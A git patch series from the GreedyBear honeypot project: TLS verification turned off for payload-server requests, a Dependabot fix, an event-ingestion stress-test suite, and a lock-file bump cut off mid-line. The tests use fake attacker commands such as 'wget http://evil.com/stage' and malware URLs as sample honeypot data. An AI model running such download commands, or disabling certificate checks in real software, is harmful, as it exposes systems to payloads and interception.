From 75d256de9ca23eab057291645e9665632a3bf6c2 Mon Sep 17 00:00:00 2001 From: tim <46972822+regulartim@users.noreply.github.com> Date: Thu, 3 Sep 2026 13:20:45 +0200 Subject: [PATCH 1/6] Skip SSL verification when connecting tpot-payload-server. Closes #1538 (#1539) --- greedybear/cronjobs/payload_extraction.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/greedybear/cronjobs/payload_extraction.py b/greedybear/cronjobs/payload_extraction.py index 927bcee7b..e31299ccc 100644 --- a/greedybear/cronjobs/payload_extraction.py +++ b/greedybear/cronjobs/payload_extraction.py @@ -101,7 +101,7 @@ def _fetch_metadata(self, client: HttpClient, server_url: str) -> list[dict]: headers = self._build_auth_headers() try: - response = client.get(url, params=params, headers=headers) + response = client.get(url, params=params, headers=headers, verify=False) data = response.json() except requests.RequestException: self.log.exception("Failed to fetch payload metadata from server.") @@ -172,7 +172,7 @@ def _download_and_store(self, client: HttpClient, server_url: str, payload_meta: headers = self._build_auth_headers() try: - response = client.get(download_url, timeout=self.DOWNLOAD_TIMEOUT, headers=headers) + response = client.get(download_url, timeout=self.DOWNLOAD_TIMEOUT, headers=headers, verify=False) except requests.RequestException: self.log.exception(f"Failed to download payload {sha256[:12]}…") return False From ab1d17c14e3666f3014020a2f0ae77dea56affb5 Mon Sep 17 00:00:00 2001 From: tim <46972822+regulartim@users.noreply.github.com> Date: Thu, 3 Sep 2026 14:44:36 +0200 Subject: [PATCH 2/6] fix path for Dependabot (it locates .github/workflows from the repo root) --- .github/dependabot.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/dependabot.yml b/.github/dependabot.yml index a403536c4..44a6ff589 100644 --- a/.github/dependabot.yml +++ b/.github/dependabot.yml @@ -25,7 +25,7 @@ updates: - package-ecosystem: "github-actions" - directory: "/.github" + directory: "/" schedule: interval: "weekly" day: "tuesday" From 39a5452a4b9de18e1fee0563981ca8e2f81e6600 Mon Sep 17 00:00:00 2001 From: Drona Date: Thu, 3 Sep 2026 19:45:22 +0545 Subject: [PATCH 3/6] test(events): add stress test suite for ingestion pipeline . Closes #1531 (#1533) * added stress test Signed-off-by: Drona * fix linters Signed-off-by: Drona * addrees review comments Signed-off-by: Drona --------- Signed-off-by: Drona --- tests/test_event_stress.py | 796 +++++++++++++++++++++++++++++++++++++ 1 file changed, 796 insertions(+) create mode 100644 tests/test_event_stress.py diff --git a/tests/test_event_stress.py b/tests/test_event_stress.py new file mode 100644 index 000000000..e08bd93ab --- /dev/null +++ b/tests/test_event_stress.py @@ -0,0 +1,796 @@ +import hashlib +from concurrent.futures import ThreadPoolExecutor, as_completed +from unittest.mock import MagicMock, patch + +from django.test import TransactionTestCase +from django.utils import timezone +from rest_framework import status +from rest_framework.test import APIClient + +from greedybear.models import ( + IOC, + CommandSequence, + Credential, + EventStatus, + HoneypotPayload, + RawEvent, +) +from greedybear.process_event import ( + _process_array_field, + _process_commands, + _process_credentials, + _process_payload_hashes, + _process_related_urls, + process_incoming_event, +) +from tests import CustomTestCase, make_api_source, make_sensor, make_user + +PATCH_IOCS_FROM_HITS = "greedybear.process_event.iocs_from_hits" +PATCH_IOC_PROCESSOR = "greedybear.process_event.IocProcessor" +PATCH_UPDATE_SCORES = "greedybear.process_event.UpdateScores" +PATCH_GET_ATTACK_TYPE = "greedybear.process_event.get_attack_type" + +EVENTS_URL = "/api/events/add/" +STATUS_URL = "/api/events/status/{task_id}/" + + +def auth_client(user): + client = APIClient() + client.force_authenticate(user=user) + return client + + +def valid_event(sensor_id, **overrides): + base = { + "src_ip": "1.2.3.4", + "event_type": "login_attempt", + "timestamp": (timezone.now() - timezone.timedelta(seconds=10)).isoformat(), + "sensor_id": sensor_id, + } + base.update(overrides) + return base + + +def make_raw_event(batch, sensor, **kwargs): + defaults = { + "src_ip": "10.0.0.1", + "event_type": "ssh", + "timestamp": timezone.now() - timezone.timedelta(seconds=5), + "processed": False, + } + defaults.update(kwargs) + return RawEvent.objects.create(batch=batch, sensor=sensor, **defaults) + + +def make_ioc_mock(name): + ioc = MagicMock(spec=IOC) + ioc.name = name + ioc.related_urls = [] + return ioc + + +def unique_ips(count, base_a=10, base_b=0): + """ + Generate `count` unique routable IPv4 addresses of the form + ...1 so we never exceed + the 255 octet limit. + """ + return [f"{base_a}.{base_b + i // 256}.{i % 256}.1" for i in range(count)] + + +# API-layer stress, large batch ingestion +class TestLargeBatchIngestion(CustomTestCase): + """ + Stress the POST /api/events/add/ endpoint with batches close to the + 10 000-event hard cap. Validates that the API accepts the payload, + persists every RawEvent row, and returns a single unique task_id. + """ + + def setUp(self): + self.user = make_user(username="stress_ingest_user") + self.api_source = make_api_source(self.user, name="StressIngestSource") + self.sensor = make_sensor(api_source=self.api_source) + self.client = auth_client(self.user) + + # -- 1a. Maximum allowed batch size -- + + @patch("api.views.event.async_task", return_value="task-max") + def test_10000_events_accepted_and_persisted(self, mock_task): + """ + A batch of exactly 10 000 events (the documented cap) must be + accepted with HTTP 202 and every row written to RawEvent. + """ + events = [valid_event(self.sensor.id, src_ip="1.2.3.4") for _ in range(10_000)] + res = self.client.post(EVENTS_URL, {"events": events}, format="json") + + self.assertEqual(res.status_code, status.HTTP_202_ACCEPTED) + task_id = res.data["task_id"] + self.assertEqual( + RawEvent.objects.filter(batch__task_id=task_id).count(), + 10_000, + "Expected all 10 000 events to be persisted in RawEvent.", + ) + mock_task.assert_called_once() + + @patch("api.views.event.async_task", return_value="task-over") + def test_10001_events_rejected_with_400(self, mock_task): + """ + One event over the cap must be rejected; no RawEvent rows created + and the background task must never be dispatched. + """ + events = [valid_event(self.sensor.id) for _ in range(10_001)] + res = self.client.post(EVENTS_URL, {"events": events}, format="json") + + self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) + self.assertEqual(RawEvent.objects.count(), 0) + mock_task.assert_not_called() + + # -- 1b. Large batch with varied optional fields -- + + @patch("api.views.event.async_task", return_value="task-varied") + def test_5000_events_with_optional_fields_persisted_correctly(self, mock_task): + """ + 5 000 events each carrying optional fields must all be accepted and + every optional field must actually be written to the RawEvent row, + not silently dropped during bulk insert. + + Spot-checks the first and last rows to bound the cost while still + catching truncation or field-mapping bugs. + """ + events = [ + valid_event( + self.sensor.id, + src_ip="2.3.4.5", + protocol="ssh", + cve_id="CVE-2024-0001", + payload_hash=hashlib.sha256(f"payload{i}".encode()).hexdigest(), + command=f"wget http://evil.com/stage{i}", + related_url=f"http://evil.com/malware{i}", + ) + for i in range(5_000) + ] + res = self.client.post(EVENTS_URL, {"events": events}, format="json") + + self.assertEqual(res.status_code, status.HTTP_202_ACCEPTED) + task_id = res.data["task_id"] + + qs = RawEvent.objects.filter(batch__task_id=task_id).order_by("id") + self.assertEqual(qs.count(), 5_000, "All 5 000 RawEvent rows must be persisted.") + + # Verify every optional field is actually written, spot-check first and last row. + for raw in [qs.first(), qs.last()]: + self.assertEqual(raw.protocol, "ssh") + self.assertEqual(raw.cve_id, "CVE-2024-0001") + self.assertEqual(len(raw.payload_hash), 64) + self.assertTrue(raw.command.startswith("wget http://evil.com/stage")) + self.assertTrue(raw.related_url.startswith("http://evil.com/malware")) + + # Verify no row silently lost its payload_hash (full-table check, cheap column). + missing_hash = qs.filter(payload_hash="").count() + self.assertEqual(missing_hash, 0, "No RawEvent must have a blank payload_hash after bulk insert.") + + @patch("api.views.event.async_task", return_value="task-qcount") + def test_1000_events_bulk_insert_query_count_is_bounded(self, mock_task): + """ + Inserting 1 000 events must not issue one INSERT per event. + The entire bulk write must complete within a fixed small number of + queries regardless of batch size, catching any accidental per-row + insert regression. + """ + events = [valid_event(self.sensor.id, src_ip="3.4.5.6") for _ in range(1_000)] + with self.assertNumQueries(5): + res = self.client.post(EVENTS_URL, {"events": events}, format="json") + self.assertEqual(res.status_code, status.HTTP_202_ACCEPTED) + self.assertEqual( + RawEvent.objects.filter(batch__task_id=res.data["task_id"]).count(), + 1_000, + ) + + # -- 1c. Repeated submissions produce independent batches -- + + @patch("api.views.event.async_task") + def test_100_sequential_batches_produce_unique_task_ids(self, mock_task): + """ + 100 back-to-back single-event submissions must each return a distinct + task_id. This catches any accidental task_id reuse or shared state. + """ + task_ids = set() + for _ in range(100): + res = self.client.post( + EVENTS_URL, + {"events": [valid_event(self.sensor.id)]}, + format="json", + ) + self.assertEqual(res.status_code, status.HTTP_202_ACCEPTED) + task_ids.add(res.data["task_id"]) + + self.assertEqual( + len(task_ids), + 100, + "Every submission must produce a unique task_id.", + ) + self.assertEqual(mock_task.call_count, 100) + + +# Concurrent submission stress +# Using TransactionTestCase because it commits each setUp write +# to the real DB so all threads share the same visible state. +class TestConcurrentSubmissions(TransactionTestCase): + """ + Fire multiple POST requests simultaneously from different threads to + verify that concurrent access does not corrupt batch state, duplicate + task_ids, or lose events. + + Must use TransactionTestCase (not CustomTestCase / TestCase) because + Django's TestCase wraps every test in an un-committed transaction that + worker threads cannot see. TransactionTestCase commits each setUp write + to the real DB so all threads share the same visible state. + """ + + def setUp(self): + self.user = make_user(username="stress_concurrent_user") + self.api_source = make_api_source(self.user, name="StressConcurrentSource") + self.sensor = make_sensor(api_source=self.api_source) + + def _submit(self): + """ + Each thread creates its own APIClient. force_authenticate works + across threads because it sets credentials on the client object, not + on a shared session. + """ + client = auth_client(self.user) + return client.post( + EVENTS_URL, + {"events": [valid_event(self.sensor.id)]}, + format="json", + ) + + @patch("api.views.event.async_task") + def test_20_concurrent_submissions_all_accepted(self, mock_task): + """ + 20 threads posting simultaneously must all receive HTTP 202 and + produce 20 distinct task_ids with exactly 20 RawEvent rows in the DB. + """ + from django.db import connections + + def submit_and_close(): + result = self._submit() + # Close this thread's DB connection so Django can DROP the test + # database cleanly after all tests finish. + connections.close_all() + return result + + with ThreadPoolExecutor(max_workers=20) as executor: + futures = [executor.submit(submit_and_close) for _ in range(20)] + results = [f.result() for f in as_completed(futures)] + + statuses = [r.status_code for r in results] + self.assertTrue( + all(s == status.HTTP_202_ACCEPTED for s in statuses), + f"Not all responses were 202: {statuses}", + ) + + task_ids = {r.data["task_id"] for r in results} + self.assertEqual( + len(task_ids), + 20, + "Every concurrent submission must produce a unique task_id.", + ) + self.assertEqual(RawEvent.objects.count(), 20) + + @patch("api.views.event.async_task") + def test_concurrent_submissions_create_separate_event_status_rows(self, mock_task): + """ + Each of 10 concurrent submissions must create exactly one EventStatus + row; no two submissions may share the same row. + """ + from django.db import connections + + def submit_and_close(): + result = self._submit() + connections.close_all() + return result + + with ThreadPoolExecutor(max_workers=10) as executor: + futures = [executor.submit(submit_and_close) for _ in range(10)] + [f.result() for f in as_completed(futures)] + + self.assertEqual(EventStatus.objects.count(), 10) + + +class TestProcessIncomingEventStress(CustomTestCase): + """ + Directly stress the background worker with large numbers of RawEvents, + verifying that every event is marked processed, the correct ioc_count is + recorded, and the atomic transaction rolls back completely on a crash. + """ + + def setUp(self): + self.user = make_user(username="stress_proc_user") + self.api_source = make_api_source(self.user, name="StressProcSource") + self.sensor = make_sensor(api_source=self.api_source) + + def _make_batch(self, task_id): + return EventStatus.objects.create( + api_source=self.api_source, + task_id=task_id, + status="pending", + ) + + # -- 3a. Happy path with 500 IOCs -- + + @patch(PATCH_UPDATE_SCORES) + @patch(PATCH_GET_ATTACK_TYPE, return_value="scanner") + @patch(PATCH_IOC_PROCESSOR) + @patch(PATCH_IOCS_FROM_HITS) + def test_500_raw_events_all_marked_processed(self, mock_hits, mock_proc_cls, mock_attack, mock_scores_cls): + """ + 500 RawEvents must all be flipped to processed=True and batch.ioc_count + must equal 500 after a successful run. + """ + batch = self._make_batch("stress-500-proc") + ips = unique_ips(500) + + for ip in ips: + make_raw_event(batch, self.sensor, src_ip=ip) + + # Pre-create real IOC rows so processor mock can return them + saved_iocs = [IOC.objects.create(name=ip, type="ip") for ip in ips] + + mock_hits.return_value = [make_ioc_mock(ip) for ip in ips] + proc = MagicMock() + proc.add_ioc.side_effect = saved_iocs + mock_proc_cls.return_value = proc + mock_scores_cls.return_value = MagicMock() + + process_incoming_event(self.api_source.id, batch.task_id) + + batch.refresh_from_db() + self.assertEqual(batch.status, "completed") + self.assertEqual(batch.ioc_count, 500) + unprocessed = RawEvent.objects.filter(batch=batch, processed=False).count() + self.assertEqual(unprocessed, 0, "All 500 RawEvents must be marked processed.") + + # -- 3b. Atomicity: crash mid-pipeline rolls back ALL 300 IOCs -- + + @patch(PATCH_UPDATE_SCORES) + @patch(PATCH_GET_ATTACK_TYPE, return_value="scanner") + @patch(PATCH_IOC_PROCESSOR) + @patch(PATCH_IOCS_FROM_HITS) + def test_atomic_rollback_with_300_iocs_on_crash(self, mock_hits, mock_proc_cls, mock_attack, mock_scores_cls): + """ + If UpdateScores crashes after 300 IOCs have been written inside the + transaction, the atomic block must roll back every single one. + No IOC row must survive in the database. + """ + batch = self._make_batch("stress-atomic-300") + ips = unique_ips(300, base_a=11) + + for ip in ips: + make_raw_event(batch, self.sensor, src_ip=ip) + + mock_hits.return_value = [make_ioc_mock(ip) for ip in ips] + + # Processor creates real DB rows inside the transaction + created_iocs = [] + + def side_effect_add_ioc(ioc, attack_type, honeypot_name=None): + obj = IOC.objects.create(name=ioc.name, type="ip") + created_iocs.append(obj) + return obj + + proc = MagicMock() + proc.add_ioc.side_effect = side_effect_add_ioc + mock_proc_cls.return_value = proc + + # Force crash inside UpdateScores (inside the atomic block) + scores = MagicMock() + scores.score_only.side_effect = RuntimeError("Broker lost connection during scoring!") + mock_scores_cls.return_value = scores + + process_incoming_event(self.api_source.id, batch.task_id) + + batch.refresh_from_db() + self.assertEqual(batch.status, "failed") + self.assertIn("Broker lost connection", batch.last_error) + + # Every IOC written before the crash must have been rolled back + leaked = IOC.objects.filter(name__in=ips).count() + self.assertEqual( + leaked, + 0, + f"{leaked} IOC rows leaked into the DB despite atomic rollback.", + ) + + # RawEvents must remain unprocessed so the batch can be retried + unprocessed = RawEvent.objects.filter(batch=batch, processed=False).count() + self.assertEqual(unprocessed, 300) + + # -- 3c. All 500 IOCs filtered → batch completes, ioc_count = 0 -- + + @patch(PATCH_UPDATE_SCORES) + @patch(PATCH_GET_ATTACK_TYPE, return_value="scanner") + @patch(PATCH_IOC_PROCESSOR) + @patch(PATCH_IOCS_FROM_HITS) + def test_500_iocs_all_filtered_batch_completes_with_zero_count(self, mock_hits, mock_proc_cls, mock_attack, mock_scores_cls): + """ + If the processor filters every IOC (returns None for each), the batch + must still complete successfully with ioc_count=0, and scoring must + never be called. + """ + batch = self._make_batch("stress-filtered-500") + ips = unique_ips(500, base_a=12) + + for ip in ips: + make_raw_event(batch, self.sensor, src_ip=ip) + + mock_hits.return_value = [make_ioc_mock(ip) for ip in ips] + proc = MagicMock() + proc.add_ioc.return_value = None # every IOC filtered + mock_proc_cls.return_value = proc + scores = MagicMock() + mock_scores_cls.return_value = scores + + process_incoming_event(self.api_source.id, batch.task_id) + + batch.refresh_from_db() + self.assertEqual(batch.status, "completed") + self.assertEqual(batch.ioc_count, 0) + scores.score_only.assert_not_called() + + # -- 3d. Duplicate batch guard at scale -- + + @patch(PATCH_IOCS_FROM_HITS) + def test_already_processing_batch_rejected_without_touching_events(self, mock_hits): + """ + A batch already in 'processing' state must be skipped immediately; + none of its 200 RawEvents must be touched. + """ + batch = self._make_batch("stress-guard-200") + ips = unique_ips(200, base_a=13) + for ip in ips: + make_raw_event(batch, self.sensor, src_ip=ip) + + batch.status = "processing" + batch.save() + + process_incoming_event(self.api_source.id, batch.task_id) + + # iocs_from_hits must never have been reached + mock_hits.assert_not_called() + + unprocessed = RawEvent.objects.filter(batch=batch, processed=False).count() + self.assertEqual(unprocessed, 200, "No RawEvents must be touched when batch is already processing.") + + +class TestProcessCredentialsStress(CustomTestCase): + """ + Push _process_credentials with hundreds of distinct and duplicate + credentials to verify no silent truncation, no duplicate DB rows, + and correct M2M linkage at scale. + """ + + def setUp(self): + self.user = make_user(username="stress_cred_user") + self.api_source = make_api_source(self.user, name="StressCredSource") + self.ioc = IOC.objects.create(name="10.0.1.1", type="ip") + + def _hit(self, username, password, protocol="ssh"): + return {"_credential": {"username": username, "password": password, "protocol": protocol}} + + def test_500_unique_credentials_all_linked(self): + """500 distinct username/password pairs must all be created and linked.""" + hits = [self._hit(f"user{i}", f"pass{i}") for i in range(500)] + _process_credentials(self.ioc, hits) + self.assertEqual( + self.ioc.credentials.count(), + 500, + "All 500 unique credentials must be linked to the IOC.", + ) + + def test_500_duplicate_credentials_produce_single_row(self): + """ + 500 hits that all carry the same credential must result in exactly + one Credential row — not 500. + """ + hits = [self._hit("admin", "password") for _ in range(500)] + _process_credentials(self.ioc, hits) + self.assertEqual( + Credential.objects.filter(username="admin", password="password").count(), + 1, + ) + + def test_same_credential_linked_to_500_iocs(self): + """ + The same credential seen from 500 different attacker IPs must be + represented as a single Credential row linked to 500 IOCs. + """ + iocs = [IOC.objects.create(name=f"10.1.{i // 256}.{i % 256}", type="ip") for i in range(500)] + hit = self._hit("root", "toor") + for ioc in iocs: + _process_credentials(ioc, [hit]) + + cred = Credential.objects.get(username="root", password="toor") + self.assertEqual( + cred.sources.count(), + 500, + "Single credential must be linked to all 500 IOCs.", + ) + + def test_idempotent_reprocessing_of_500_credentials(self): + """ + Running _process_credentials twice with the same 500 hits must not + create any duplicate rows. Scoped to this IOC's M2M relation so + credentials from other tests don't pollute the count. + """ + hits = [self._hit(f"idempotent_u{i}", f"idempotent_p{i}") for i in range(500)] + _process_credentials(self.ioc, hits) + _process_credentials(self.ioc, hits) + # Count through the IOC's own M2M relation — unaffected by other tests + self.assertEqual(self.ioc.credentials.count(), 500) + + +class TestProcessRelatedUrlsStress(CustomTestCase): + """ + Verify that _process_related_urls handles hundreds of URLs correctly: + deduplication, sorted storage, idempotency, and no silent truncation. + """ + + def setUp(self): + self.ioc = IOC.objects.create(name="10.0.2.1", type="ip", related_urls=[]) + + def _hit(self, url): + return {"_related_url": url} + + def test_300_unique_urls_all_stored(self): + """300 distinct valid URLs must all appear in ioc.related_urls.""" + urls = [f"http://evil.com/payload{i}" for i in range(300)] + hits = [self._hit(u) for u in urls] + _process_related_urls(self.ioc, hits) + self.ioc.refresh_from_db() + self.assertEqual(len(self.ioc.related_urls), 300) + + def test_300_duplicate_urls_stored_once(self): + """300 hits with the same URL must produce exactly one entry.""" + hits = [self._hit("http://evil.com/malware") for _ in range(300)] + _process_related_urls(self.ioc, hits) + self.ioc.refresh_from_db() + self.assertEqual(self.ioc.related_urls.count("http://evil.com/malware"), 1) + + def test_300_urls_stored_sorted(self): + """After inserting 300 URLs the stored list must be in sorted order.""" + urls = [f"http://evil{i:03d}.com/path" for i in range(300)] + _process_related_urls(self.ioc, [self._hit(u) for u in urls]) + self.ioc.refresh_from_db() + self.assertEqual( + self.ioc.related_urls, + sorted(self.ioc.related_urls), + "related_urls must be stored sorted.", + ) + + def test_idempotent_reprocessing_of_300_urls(self): + """Running the same 300 URLs twice must not create duplicate entries.""" + urls = [f"http://evil.com/file{i}" for i in range(300)] + hits = [self._hit(u) for u in urls] + _process_related_urls(self.ioc, hits) + _process_related_urls(self.ioc, hits) + self.ioc.refresh_from_db() + self.assertEqual(len(self.ioc.related_urls), 300) + + def test_mixed_valid_and_root_path_urls_only_valid_stored(self): + """ + 200 valid-path URLs mixed with 100 root-path URLs; only the 200 valid + ones must be stored. + """ + valid_urls = [f"http://evil.com/malware{i}" for i in range(200)] + root_urls = [f"http://junk{i}.com/" for i in range(100)] + hits = [self._hit(u) for u in valid_urls + root_urls] + _process_related_urls(self.ioc, hits) + self.ioc.refresh_from_db() + self.assertEqual(len(self.ioc.related_urls), 200) + + +class TestProcessCommandsStress(CustomTestCase): + """ + Stress _process_commands with long command sequences, repeated calls, + and mixed blank/duplicate lines. + + Every assertion filters by the specific commands_hash produced in + that test - never .first() or table-wide .count() , so tests are + fully isolated even when other CommandSequence rows exist from + fixtures or other tests. + """ + + def _hit(self, cmd): + return {"_command": cmd} + + def _hash(self, cmds): + return hashlib.sha256("|".join(cmds).encode()).hexdigest() + + def test_200_unique_commands_stored_in_order(self): + """A sequence of 200 unique commands must be stored in exact input order.""" + cmds = [f"step{i}" for i in range(200)] + _process_commands([self._hit(c) for c in cmds]) + seq = CommandSequence.objects.get(commands_hash=self._hash(cmds)) + self.assertEqual(seq.commands, cmds) + + def test_200_command_sequence_hash_is_correct(self): + """The stored SHA-256 hash must match the canonical join of the 200 commands.""" + cmds = [f"cmd{i}" for i in range(200)] + expected = self._hash(cmds) + _process_commands([self._hit(c) for c in cmds]) + seq = CommandSequence.objects.get(commands_hash=expected) + self.assertEqual(seq.commands_hash, expected) + + def test_500_duplicate_commands_deduplicated_to_one_line(self): + """500 hits with the same command must produce exactly one sequence row.""" + _process_commands([self._hit("whoami") for _ in range(500)]) + expected_hash = self._hash(["whoami"]) + seq = CommandSequence.objects.get(commands_hash=expected_hash) + self.assertEqual(seq.commands, ["whoami"]) + + def test_idempotent_reprocessing_same_sequence(self): + """Reprocessing the exact same sequence 50 times must produce one DB row.""" + cmds = ["ls", "id", "whoami"] + expected_hash = self._hash(cmds) + for _ in range(50): + _process_commands([self._hit(c) for c in cmds]) + self.assertEqual( + CommandSequence.objects.filter(commands_hash=expected_hash).count(), + 1, + ) + + def test_100_different_sequences_produce_100_rows(self): + """ + 100 sequences each with a unique first command must produce 100 + distinct CommandSequence rows — verified by counting only the hashes + this test created. + """ + expected_hashes = set() + for i in range(100): + cmds = [f"stress_unique_cmd_{i}", "stress_common_tail"] + expected_hashes.add(self._hash(cmds)) + _process_commands([self._hit(c) for c in cmds]) + + created = CommandSequence.objects.filter(commands_hash__in=expected_hashes).count() + self.assertEqual(created, 100) + + def test_blanks_and_whitespace_only_lines_skipped(self): + """ + 200 blank/whitespace-only hits must produce zero new rows. + Verified by checking the table size before and after. + """ + before = CommandSequence.objects.count() + hits = [self._hit("") for _ in range(100)] + [self._hit(" ") for _ in range(100)] + _process_commands(hits) + self.assertEqual(CommandSequence.objects.count(), before) + + +class TestProcessArrayFieldStress(CustomTestCase): + """ + Stress the generic ArrayField helper for `protocols` and `cves` with + hundreds of values. + """ + + def setUp(self): + self.ioc = IOC.objects.create(name="10.0.3.1", type="ip", protocols=[], cves=[]) + + def _hit(self, key, value): + return {key: value} + + def test_200_unique_protocols_all_stored(self): + """200 distinct protocol strings must all appear in ioc.protocols.""" + hits = [self._hit("_protocol", f"proto{i}") for i in range(200)] + _process_array_field(self.ioc, hits, hit_key="_protocol", field_name="protocols") + self.ioc.refresh_from_db() + self.assertEqual(len(self.ioc.protocols), 200) + + def test_200_duplicate_protocols_stored_once_each(self): + """200 hits with the same protocol must result in exactly one entry.""" + hits = [self._hit("_protocol", "ssh") for _ in range(200)] + _process_array_field(self.ioc, hits, hit_key="_protocol", field_name="protocols") + self.ioc.refresh_from_db() + self.assertEqual(self.ioc.protocols.count("ssh"), 1) + + def test_200_protocols_stored_sorted(self): + hits = [self._hit("_protocol", f"proto{i:03d}") for i in range(200)] + _process_array_field(self.ioc, hits, hit_key="_protocol", field_name="protocols") + self.ioc.refresh_from_db() + self.assertEqual(self.ioc.protocols, sorted(self.ioc.protocols)) + + def test_idempotent_reprocessing_200_protocols(self): + hits = [self._hit("_protocol", f"proto{i}") for i in range(200)] + _process_array_field(self.ioc, hits, hit_key="_protocol", field_name="protocols") + _process_array_field(self.ioc, hits, hit_key="_protocol", field_name="protocols") + self.ioc.refresh_from_db() + self.assertEqual(len(self.ioc.protocols), 200) + + def test_200_unique_cves_all_stored(self): + """200 distinct CVE IDs must all be persisted in ioc.cves.""" + hits = [self._hit("_cve_id", f"CVE-2024-{i:04d}") for i in range(200)] + _process_array_field(self.ioc, hits, hit_key="_cve_id", field_name="cves") + self.ioc.refresh_from_db() + self.assertEqual(len(self.ioc.cves), 200) + + def test_empty_string_values_in_200_hit_batch_all_skipped(self): + """ + 200 hits with empty string values must write nothing to the DB. + """ + hits = [self._hit("_protocol", "") for _ in range(200)] + with self.assertNumQueries(0): + _process_array_field(self.ioc, hits, hit_key="_protocol", field_name="protocols") + + +class TestProcessPayloadHashesStress(CustomTestCase): + """ + Stress _process_payload_hashes with hundreds of hashes, repeated calls, + and cross-IOC linkage to confirm no duplicate rows and correct M2M state. + """ + + def setUp(self): + self.user = make_user(username="stress_payload_user") + self.api_source = make_api_source(self.user, name="StressPayloadSource") + self.ioc = IOC.objects.create(name="10.0.4.1", type="ip") + + def _sha(self, seed): + return hashlib.sha256(seed.encode()).hexdigest() + + def _hit(self, sha256): + return {"_payload_hash": sha256} + + def test_300_unique_hashes_all_linked(self): + """300 distinct hashes must each create a stub row and link to the IOC.""" + hits = [self._hit(self._sha(f"payload{i}")) for i in range(300)] + _process_payload_hashes(self.ioc, hits) + self.assertEqual(HoneypotPayload.objects.count(), 300) + self.assertEqual(self.ioc.payloads.count(), 300) + + def test_300_duplicate_hashes_produce_single_row(self): + """300 hits with the same hash must produce exactly one HoneypotPayload.""" + sha = self._sha("duplicate") + hits = [self._hit(sha) for _ in range(300)] + _process_payload_hashes(self.ioc, hits) + self.assertEqual(HoneypotPayload.objects.count(), 1) + + def test_idempotent_reprocessing_of_300_hashes(self): + """Calling the function twice with the same 300 hashes must not create duplicates.""" + hits = [self._hit(self._sha(f"p{i}")) for i in range(300)] + _process_payload_hashes(self.ioc, hits) + _process_payload_hashes(self.ioc, hits) + self.assertEqual(HoneypotPayload.objects.count(), 300) + self.assertEqual(self.ioc.payloads.count(), 300) + + def test_same_300_hashes_linked_to_two_iocs(self): + """ + The same 300 hashes submitted for two different IOCs must produce + 300 HoneypotPayload rows each linked to both IOCs — 600 M2M links total. + """ + ioc2 = IOC.objects.create(name="10.0.4.2", type="ip") + hits = [self._hit(self._sha(f"shared{i}")) for i in range(300)] + + _process_payload_hashes(self.ioc, hits) + _process_payload_hashes(ioc2, hits) + + self.assertEqual(HoneypotPayload.objects.count(), 300) + self.assertEqual(self.ioc.payloads.count(), 300) + self.assertEqual(ioc2.payloads.count(), 300) + + def test_uppercase_and_lowercase_same_hash_deduplicates_at_300_scale(self): + """ + 300 hashes submitted in uppercase must deduplicate against the same + 300 already stored in lowercase — total rows must remain 300. + """ + lower_hits = [self._hit(self._sha(f"case{i}")) for i in range(300)] + upper_hits = [self._hit(self._sha(f"case{i}").upper()) for i in range(300)] + + _process_payload_hashes(self.ioc, lower_hits) + _process_payload_hashes(self.ioc, upper_hits) + + self.assertEqual(HoneypotPayload.objects.count(), 300) + + def test_empty_hash_strings_skipped_in_300_hit_batch(self): + """300 hits with empty hash strings must write nothing to the DB.""" + hits = [self._hit("") for _ in range(300)] + with self.assertNumQueries(0): + _process_payload_hashes(self.ioc, hits) + self.assertEqual(HoneypotPayload.objects.count(), 0) From 279a90ba74a89735c6dd292e8b754cfebf8132f4 Mon Sep 17 00:00:00 2001 From: tim <46972822+regulartim@users.noreply.github.com> Date: Fri, 4 Sep 2026 08:15:28 +0200 Subject: [PATCH 4/6] bump python dependencies --- uv.lock | 31 ++++++++++++++++--------------- 1 file changed, 16 insertions(+), 15 deletions(-) diff --git a/uv.lock b/uv.lock index cafa1ac3e..f4ff03a2f 100644 --- a/uv.lock +++ b/uv.lock @@ -24,14 +24,15 @@ wheels = [ [[package]] name = "anyio" -version = "4.14.2" +version = "4.15.0" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "idna" }, + { name = "typing-extensions" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/61/cc/a381afa6efea9f496eff839d4a6a1aed3bfafc7b3ab4b0d1b243a12573dd/anyio-4.14.2.tar.gz", hash = "sha256:cfa139f3ed1a23ee8f88a145ddb5ac7605b8bbfd8592baacd7ce3d8bb4313c7f", size = 260176, upload-time = "2026-07-12T20:29:07.082Z" } +sdist = { url = "https://files.pythonhosted.org/packages/ea/9a/c15a60547004a3f3cea20296c934f827ddd7bdba225a2e7e9fcb5ec48c80/anyio-4.15.0.tar.gz", hash = "sha256:b5c620ed540725e2579c31b17bb995b3bf02c9281c9cace04c7d186380bab85e", size = 276504, upload-time = "2026-09-02T21:46:36.957Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/da/35/f2287558c17e29fafc8ef3daf819bb9834061cfa43bff8014f7df7f63bdc/anyio-4.14.2-py3-none-any.whl", hash = "sha256:9f505dda5ac9f0c8309b5e8bd445a8c2bf7246f3ce950121e45ea15bc41d1494", size = 125813, upload-time = "2026-07-12T20:29:05.763Z" }, + { url = "https://files.pythonhosted.org/packages/21/a6/2b21ce5ebe4d8938a247c9b0dbb7271566ae559b01795c83ea4bb2660ed7/anyio-4.15.0-py3-none-any.whl", hash = "sha256:7ecd9937369ffce8bba0b5ccb9b3a9507b101b0ed50256aecfbab27e6c2acb99", size = 131908, upload-time = "2026-09-02T21:46:35.485Z" }, ] [[package]] @@ -54,30 +55,30 @@ wheels = [ [[package]] name = "boto3" -version = "1.43.86" +version = "1.43.88" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "botocore" }, { name = "jmespath" }, { name = "s3transfer" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/f1/a0/b8693637bee21e266a52f3e1b8bb9fe4897934aa62c55cc132f8721c1b8f/boto3-1.43.86.tar.gz", hash = "sha256:aca7b5d7f31a90ad37bec773552ec9bfb57e0029c9aa0f0f4d51d5bf9607b1c4", size = 112685, upload-time = "2026-09-01T19:24:02.867Z" } +sdist = { url = "https://files.pythonhosted.org/packages/71/a4/d7b6ca0c2c21722c12b6ecc942ff3e2304c40f00724182500236616c4236/boto3-1.43.88.tar.gz", hash = "sha256:b3d03fba8ace049de27e3a6ed69b25a55d752f49d563394985e805ed5f0a0a74", size = 112730, upload-time = "2026-09-03T19:24:05.814Z" } wheels = [ - { url 